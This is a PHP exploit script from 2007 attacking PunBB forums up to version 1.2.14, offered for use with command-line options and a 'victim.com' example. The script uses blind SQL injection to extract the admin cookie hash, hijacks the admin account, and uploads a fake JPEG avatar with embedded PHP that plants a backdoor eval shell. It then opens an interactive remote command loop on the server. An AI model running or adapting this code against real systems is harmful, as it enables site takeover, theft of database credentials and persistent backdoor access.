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13070411-sploit.txt

Posted on 12 April 2007

#!/usr/bin/php
<?php
/**
* This file require the PhpSploit class.
* If you want to use this class, the latest
* version can be downloaded from acid-root.new.fr.
**/
require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);

if($argc < 7)
{
print("
-----------  PunBB <= 1.2.14 Remote Code Execution Exploit  -----------
-----------------------------------------------------------------------
PHP conditions: See www.acid-root.new.fr/advisories/13070411.txt
Credits: DarkFig <gmdarkfig@gmail.com>
URL: http://www.acid-root.new.fr/
-----------------------------------------------------------------------
Usage: $argv[0] -url <> -usr <> -pwd <> [Options]
Params: -url       For example http://victim.com/punBB/
-usr       User account (1 post at least)
-pwd       Password account
Options: -uid       Admin id (default=2)
-prefix    Table prefix (default=none)
-proxy     If you wanna use a proxy <proxyhost:proxyport>
-proxyauth Basic authentification <proxyuser:proxypwd>
-----------------------------------------------------------------------
");exit(1);
}

$url = getparam('url',1);
$usr = getparam('usr',1);
$pwd = getparam('pwd',1);
$uid = (getparam('uid')!='') ? getparam('uid') : 2;
$pre = getparam('prefix');
$prox= getparam('proxy');
$proh= getparam('proxyauth');

$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");
if(!empty($prox)) $xpl->addproxy($prox);
if(!empty($proh)) $xpl->proxyauth($proh);

$xpl->cookiejar(1);
$xpl->post($url.'login.php?action=in',"form_sent=1&redirect_url=x&req_username=$usr&req_password=$pwd&login=1");

print "
Cookie hash: ";$cookie = blind($uid);
print "
Admin cookie: ".$cookie;

# Logged in as Administrator
$xpl->reset('cookie');
$xpl->addcookie($cookie);

# Avatars dir -> include/user
# Default options (french)
$data =
'form_sent=1&form%5Bboard_title%5D=Mon+forum+punBB&form%5Bboar'
.'d_desc%5D=Malheureusement+personne+ne+peut+vous+dire+ce+que+'
.'PunBB+est+-+vous+devez+le+voir+par+vous-m%EAme.&form%5Bbase_'
.'url%5D='.urlencode(preg_replace("#(.*)/$#","$1",$url)).'&form%5B'
.'server_timezone%5D=0&form%5Bdefault_lang%5D=English&form%5Bd'
.'efault_style%5D=Oxygen&form%5Btime_format%5D=H%3Ai%3As&form%'
.'5Bdate_format%5D=d-m-Y&form%5Btimeout_visit%5D=600&form%5Bti'
.'meout_online%5D=300&form%5Bredirect_delay%5D=1&form%5Bshow_v'
.'ersion%5D=0&form%5Bshow_user_info%5D=1&form%5Bshow_post_coun'
.'t%5D=1&form%5Bsmilies%5D=1&form%5Bsmilies_sig%5D=1&form%5Bma'
.'ke_links%5D=1&form%5Btopic_review%5D=15&form%5Bdisp_topics_d'
.'efault%5D=30&form%5Bdisp_posts_default%5D=25&form%5Bindent_n'
.'um_spaces%5D=4&form%5Bquickpost%5D=1&form%5Busers_online%5D='
.'1&form%5Bcensoring%5D=0&form%5Branks%5D=1&form%5Bshow_dot%5D'
.'=0&form%5Bquickjump%5D=1&form%5Bgzip%5D=0&form%5Bsearch_all_'
.'forums%5D=1&form%5Badditional_navlinks%5D=&form%5Breport_met'
.'hod%5D=0&form%5Bregs_report%5D=0&form%5Bmailing_list%5D=gmda'
.'rkfig%40gmail.com&form%5Bavatars%5D=1&form%5Bavatars_dir%5D='
.'include%2Fuser&form%5Bavatars_width%5D=60&form%5Bavatars_hei'
.'ght%5D=60&form%5Bavatars_size%5D=10240&form%5Badmin_email%5D'
.'=mysploiti%40gmail.com&form%5Bwebmaster_email%5D=mysploiti%4'
.'0gmail.com&form%5Bsubscriptions%5D=1&form%5Bsmtp_host%5D=&fo'
.'rm%5Bsmtp_user%5D=&form%5Bsmtp_pass%5D=&form%5Bregs_allow%5D'
.'=1&form%5Bregs_verify%5D=0&form%5Brules%5D=0&form%5Brules_me'
.'ssage%5D=Saisissez+vos+r%E8gles+ici.&form%5Bannouncement%5D='
.'0&form%5Bannouncement_message%5D=Saisissez+votre+annonce+ici'
.'.&form%5Bmaintenance%5D=0&form%5Bmaintenance_message%5D=Les+'
.'forums+sont+temporairement+ferm%E9s+pour+des+raisons+de+main'
.'tenance.+Veuillez+essayer+%E0+nouveau+dans+quelques+minutes.'
.'%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%2FAdministrateur&save=+'
.'Enregistrer+';

$xpl->addheader('Referer',$url.'admin_options.php');
$xpl->post($url.'admin_options.php?action=foo',$data);


# Fake JPG 1x1
#
# 000000A2 3C3F 7068 7020 2468 616E 646C 653D 666F <?php $handle=fo
# 000000B2 7065 6E28 222E 2F69 6D67 2F61 7661 7461 pen("./img/avata
# 000000C2 7273 2F62 6163 6B64 6F6F 722E 7068 7022 rs/backdoor.php"
# 000000D2 2C22 7722 293B 2066 7772 6974 6528 2468 ,"w"); fwrite($h
# 000000E2 616E 646C 652C 273C 3F70 6870 2069 6628 andle,'<?php if(
# 000000F2 6973 7365 7428 245F 5345 5256 4552 5B22 isset($_SERVER["
# 00000102 4854 5450 5F53 4845 4C4C 225D 2929 2040 HTTP_SHELL"])) @
# 00000112 6576 616C 2824 5F53 4552 5645 525B 2248 eval($_SERVER["H
# 00000122 5454 505F 5348 454C 4C22 5D29 3B20 3F3E TTP_SHELL"]); ?>
# 00000132 2729 3B20 6663 6C6F 7365 2824 6861 6E64 '); fclose($hand
# 00000142 6C65 293B 203F 3E                       le); ?>
$avatar =
"xFFxD8xFFxE0x00x10x4Ax46x49x46x00x01x01x01x00x60"
."x00x60x00x00xFFxDBx00x43x00x08x06x06x07x06x05"
."x08x07x07x07x09x09x08x0Ax0Cx14x0Dx0Cx0Bx0Bx0C"
."x19x12x13x0Fx14x1Dx1Ax1Fx1Ex1Dx1Ax1Cx1Cx20x24"
."x2Ex27x20x22x2Cx23x1Cx1Cx28x37x29x2Cx30x31x34"
."x34x34x1Fx27x39x3Dx38x32x3Cx2Ex33x34x32xFFxDB"
."x00x43x01x09x09x09x0Cx0Bx0Cx18x0Dx0Dx18x32x21"
."x1Cx21x32x32x32x32x32x32x32x32x32x32x32x32x32"
."x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32"
."x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32"
."x32x32x32x32x32x32x32xFFxFEx00xA9x3Cx3Fx70x68"
."x70x20x24x68x61x6Ex64x6Cx65x3Dx66x6Fx70x65x6E"
."x28x22x2Ex2Fx69x6Dx67x2Fx61x76x61x74x61x72x73"
."x2Fx62x61x63x6Bx64x6Fx6Fx72x2Ex70x68x70x22x2C"
."x22x77x22x29x3Bx20x66x77x72x69x74x65x28x24x68"
."x61x6Ex64x6Cx65x2Cx27x3Cx3Fx70x68x70x20x69x66"
."x28x69x73x73x65x74x28x24x5Fx53x45x52x56x45x52"
."x5Bx22x48x54x54x50x5Fx53x48x45x4Cx4Cx22x5Dx29"
."x29x20x40x65x76x61x6Cx28x24x5Fx53x45x52x56x45"
."x52x5Bx22x48x54x54x50x5Fx53x48x45x4Cx4Cx22x5D"
."x29x3Bx20x3Fx3Ex27x29x3Bx20x66x63x6Cx6Fx73x65"
."x28x24x68x61x6Ex64x6Cx65x29x3Bx20x3Fx3ExFFxC0"
."x00x11x08x00x01x00x01x03x01x22x00x02x11x01x03"
."x11x01xFFxC4x00x1Fx00x00x01x05x01x01x01x01x01"
."x01x00x00x00x00x00x00x00x00x01x02x03x04x05x06"
."x07x08x09x0Ax0BxFFxC4x00xB5x10x00x02x01x03x03"
."x02x04x03x05x05x04x04x00x00x01x7Dx01x02x03x00"
."x04x11x05x12x21x31x41x06x13x51x61x07x22x71x14"
."x32x81x91xA1x08x23x42xB1xC1x15x52xD1xF0x24x33"
."x62x72x82x09x0Ax16x17x18x19x1Ax25x26x27x28x29"
."x2Ax34x35x36x37x38x39x3Ax43x44x45x46x47x48x49"
."x4Ax53x54x55x56x57x58x59x5Ax63x64x65x66x67x68"
."x69x6Ax73x74x75x76x77x78x79x7Ax83x84x85x86x87"
."x88x89x8Ax92x93x94x95x96x97x98x99x9AxA2xA3xA4"
."xA5xA6xA7xA8xA9xAAxB2xB3xB4xB5xB6xB7xB8xB9xBA"
."xC2xC3xC4xC5xC6xC7xC8xC9xCAxD2xD3xD4xD5xD6xD7"
."xD8xD9xDAxE1xE2xE3xE4xE5xE6xE7xE8xE9xEAxF1xF2"
."xF3xF4xF5xF6xF7xF8xF9xFAxFFxC4x00x1Fx01x00x03"
."x01x01x01x01x01x01x01x01x01x00x00x00x00x00x00"
."x01x02x03x04x05x06x07x08x09x0Ax0BxFFxC4x00xB5"
."x11x00x02x01x02x04x04x03x04x07x05x04x04x00x01"
."x02x77x00x01x02x03x11x04x05x21x31x06x12x41x51"
."x07x61x71x13x22x32x81x08x14x42x91xA1xB1xC1x09"
."x23x33x52xF0x15x62x72xD1x0Ax16x24x34xE1x25xF1"
."x17x18x19x1Ax26x27x28x29x2Ax35x36x37x38x39x3A"
."x43x44x45x46x47x48x49x4Ax53x54x55x56x57x58x59"
."x5Ax63x64x65x66x67x68x69x6Ax73x74x75x76x77x78"
."x79x7Ax82x83x84x85x86x87x88x89x8Ax92x93x94x95"
."x96x97x98x99x9AxA2xA3xA4xA5xA6xA7xA8xA9xAAxB2"
."xB3xB4xB5xB6xB7xB8xB9xBAxC2xC3xC4xC5xC6xC7xC8"
."xC9xCAxD2xD3xD4xD5xD6xD7xD8xD9xDAxE2xE3xE4xE5"
."xE6xE7xE8xE9xEAxF2xF3xF4xF5xF6xF7xF8xF9xFAxFF"
."xDAx00x0Cx03x01x00x02x11x03x11x00x3Fx00xF7xFA"
."x28xA2x80x3FxFFxD9";

# Upload
$formdata = array(frmdt_url => $url.'profile.php?action=upload_avatar2&id='.$uid,
'form_sent' => '1',
'MAX_FILE_SIZE' => '10240',
'upload' => 'Télécharger',
'req_file' => array(frmdt_filename => 'pic.jpg',
frmdt_type => 'image/jpeg',
frmdt_content => $avatar));

$xpl->addheader('Referer',$url.'profile.php');
$xpl->formdata($formdata);

# File inclusion
$xpl->addheader('Referer',$url."misc.php"><pun_include "$uid.jpg">");
$xpl->get($url.'misc.php?email='.$uid);
print "
The php code shoulb be executed
$shell> ";

# Hello
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
# ');include('../../config.php');print $db_password;//
$xpl->addheader('Shell',"system('$cmd');");
$xpl->get($url.'img/avatars/backdoor.php');
print $xpl->getcontent()."
$shell> ";
}

function blind($id)
{
global $xpl,$url,$usr,$pre;

preg_match("#^(S*)=(S*);#",$xpl->showcookie(),$cookies);
$name=$cookies[1]."=";
$string="a:2:{i:0;s:1:"$id";i:1;s:32:"";

for($i=1;$i<=32;$i++)
{
$charset = '0123456789abcdef';
for($a=0;$a<=strlen($charset);$a++)
{
# Search cache
$searchd = 'search.php?action=search&keywords=*****&author='
.$usr.'&forum=-1&search_in=all&sort_by=0&sort_dir=DESC&show_as=topics&search=1';
$xpl->get($url.$searchd);

# Cookie hash
$sql = 'ORD(SUBSTR(('
.'SELECT MD5('
.'CONCAT('
.'SUBSTR('
.'MD5('
# Cookie seed
.'(SELECT registered FROM '.$pre.'users WHERE LENGTH(registered)=10'
.' ORDER BY registered LIMIT 1)),-8),'
# Hashed password
.'(SELECT password FROM '.$pre.'users WHERE id='.$id.')))),'.$i.',1))=ORD(CHAR('.ord($charset[$a]).')) #';

# SQL Injection
$xpl->post($url.'search.php?action=show_new','search_id=-1 OR '.$sql.'&1986084953=1&-1234899993=1');

# True
if(preg_match('#<th class="tcr" scope="col">#',$xpl->getcontent()))
{
print $charset[$a];
$string .= $charset[$a];
break;
}
}
}
return $name.urlencode($string.'";}');
}

function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param) return $argv[$value+1];
}
if($opt) exit("
#3 -$param parameter required");
else return;
}
?>

 

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